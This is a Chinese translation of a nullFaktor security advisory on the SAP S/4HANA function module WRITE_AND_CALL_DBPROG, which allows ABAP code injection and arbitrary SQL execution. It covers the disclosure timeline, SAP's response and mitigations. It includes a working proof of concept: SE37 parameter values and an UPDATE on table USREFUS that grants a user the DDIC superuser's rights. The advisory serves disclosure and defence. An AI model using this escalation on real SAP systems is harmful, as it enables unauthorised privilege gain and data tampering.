SAP NetWeaver S/4HANA 内部函数模块WRITE_AND_CALL_DBPROG导致ABAP代码执行漏洞分析

本文详细分析了SAP NetWeaver S/4HANA中WRITE_AND_CALL_DBPROG函数模块的安全漏洞,该漏洞允许攻击者通过本地函数执行权限实现ABAP代码注入和任意SQL执行,导致系统完全沦陷。

SAP NetWeaver S/4HANA - 通过内部函数模块WRITE_AND_CALL_DBPROG实现ABAP代码执行

nullFaktor安全公告 < 20250719 >

标题: 通过内部函数模块WRITE_AND_CALL_DBPROG实现ABAP代码执行

漏洞类型: 暴露危险功能

受影响产品: SAP NetWeaver S/4HANA
主页: http://www.sap.com

受影响版本: S/4HANA, SAP_BASIS 757 SP 3
SAP说明: 3546011

影响程度:
CVSS 3.0向量: CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 4.0评分: 8.4

CWE: CWE-749:暴露危险方法或功能
CWE-94:代码生成控制不当(‘代码注入’)

日期: 2025-10-07

作者: Raschin Tavakoli | nullFaktor GmbH
https://www.nullfaktor.com
office at nullfaktor dot com

博客: https://www.nullfaktor.com/blog
#Advisory_09-07-25

厂商描述

SAP SE是一家总部位于德国巴登-符腾堡州瓦尔多夫的欧洲跨国软件公司。该公司开发企业管理软件来管理业务运营和客户关系,是全球最大的企业资源规划(ERP)软件供应商。

时间线

  • 06.09.2024 nullFaktor首次联系SAP
  • 11.09.2024 SAP PSRT首次回复,表示不认为此问题是安全漏洞
  • 12.09.2024 nullFaktor通过电子邮件提供更详细信息
  • 07.11.2024 SAP回复邮件解释为何仍不认为这是安全漏洞
  • 07.11.2024 nullFaktor通过邮件进一步论证
  • 13.12.2024 SAP回复邮件,要求视频会议
  • 13.01.2025 nullFaktor回复邮件安排视频会议
  • 05.02.2025 与SAP进行视频会议,双方同意在正确维护的系统上此问题不构成安全风险
  • 02.07.2025 nullFaktor通过邮件发送最终草案给SAP
  • 10.07.2025 公告发布

漏洞详情

在对SAP® S/4HANA内部代码的安全研究中,我们发现函数组SDB2中的函数模块WRITE_AND_CALL_DBPROG暴露了危险功能,允许用户执行任意Native SQL。

此外,SQL代码通过INSERT REPORT写入报告,然后动态执行——没有任何输入验证或授权检查。

这种行为使得攻击者能够在SAP系统中实现ABAP代码注入和任意代码执行。

利用此漏洞的前提是拥有执行本地函数模块的授权,这始终包括具有ACTVT = 16(执行)的S_DEVELOP授权。

根据SAP的说法,此授权不应在生产系统中分配。因此,SAP不将其归类为安全漏洞。

然而,我们认为从安全角度来看,此问题仍然相关。在实践中,大型SAP环境中的授权经常配置错误或过于宽松——不能假设所有用户(有时数千个)都配置得足够严格以防止滥用。

潜在恶意用户可以利用此函数模块绕过多个关键安全控制,例如:

  1. 绕过任何授权限制:可以在数据库中读取、修改或删除任意数据,导致系统完全沦陷并可能影响连接的系统

  2. 在SAP命名空间中插入自定义代码:攻击者可以通过创建新报告将ABAP代码写入标准命名空间

  3. 绕过系统/客户端可修改性锁定:即使系统或客户端设置为"不可修改",也可以引入代码更改

因此,授予本地函数模块执行访问权限(例如通过SE37或SE80和S_DEVELOP/ACTVT=16)相当于授予SAP_ALL。

从攻击者的角度来看,这使得S_DEVELOP/ACTVT=16和SAP_ALL之间的区别在很大程度上没有意义。

此外,此问题也与非生产系统相关,例如如果开发人员或测试人员对S_DEVELOP授权没有额外的限制(如OBJNAME、DEVCLASS等)。

目前没有可用的补丁来解决此问题。因此强烈建议审查用户授权,确保没有用户在生产系统上拥有结合S_DEVELOP/ACTVT=16(执行)的事务SE37访问权限。在非生产系统上,还必须详细定义相应的对象类型。

SAP反馈

生产系统中不应有任何用户被分配具有ACTVT 16的S_DEVELOP权限。因此SAP不认为此问题是漏洞,也不会发布补丁。对于每个开发人员,必须完全仔细地维护S_DEVELOP授权。不幸的是,在SAP本地环境中,仅限制活动(ACTVT)是不够的。还必须根据开发人员应被允许创建、修改、删除或测试的内容,详细定义相应的对象类型。

请参考:https://me.sap.com/notes/3546011

攻击场景

具有通过(例如SE80、SE37)执行本地函数模块权限的本地攻击者可以注入任意ABAP代码,从而绕过任何安全限制并危害系统。

概念验证

为了演示此问题,我们展示了能够执行任意命令的能力。在概念验证中,我们希望将参考用户DDIC(超级用户)添加到当前用户DEVELOPER。

以下是执行漏洞利用前表USREFUS的内容(可通过事务SE16查看):

1
2
3
4
5
6
7
MANDT BNAME        REFUSER      USERALIAS
001   BWDEVELOPER
001   DDIC
001   DEVELOPER
001   DEVELOPER_5
001   SAP*
001   SDMI_DLRYYAU

下一步,通过事务SE37打开本地函数模块WRITE_AND_CALL_DBPROG。

为函数模块的表单字段(输入参数)填写以下值:

1
2
3
4
5
6
7
NO_EXEC = ""
PRID = "0"
PROGNAME = "Z_HACKED"
MAX_SEVERITY = "E"
ABAP_FLAG = "X"
DBCON_NAME = "X"
STMT = "X"

为表参数(输入参数)STATEMENTS填写以下值:

1
STATEMENTS = "UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'DEVELOPER'."

执行函数模块后,创建并执行名为"Z_HACKED"的报告。

生成的报告代码如下:

1
2
3
4
5
PROGRAM Z_HACKED.
FORM GENFORM USING RC.
UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'DEVELOPER'.
  RC = 0.
ENDFORM.

成功执行此代码将REFUSER DDIC附加到用户DEVELOPER,有效地授予超级用户权限。

通过SE16可以看到表USREFUS的更改内容:

1
2
3
4
5
6
7
MANDT BNAME        REFUSER      USERALIAS
001   BWDEVELOPER
001   DDIC
001   DEVELOPER    DDIC
001   DEVELOPER_5
001   SAP*
001   SDMI_DLRYYAU

关于nullFaktor

nullFaktor是一家奥地利网络安全公司,提供渗透测试、网络防御和IT安全咨询等服务。

此外,nullFaktor运营专门的SAP安全部门,专注于SAP网络安全。服务包括SAP渗透测试和战略性SAP安全咨询。

持续的研究活动通过确保对现代攻击向量、错误配置和安全架构模式中的陷阱的最新知识,加强了nullFaktor的咨询和评估服务。这使得客户能够基于真实风险场景做出明智决策并改善其IT安全状况。

想要加强您的IT或SAP安全状况?请联系:https://www.nullfaktor.com/#kontakt

邮件: office at nullfaktor dot com
网站: https://www.nullfaktor.com
博客: https://www.nullfaktor.com/blog
X.com: https://x.com/_nullfaktor

EOF Raschin Tavakoli / @2025

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计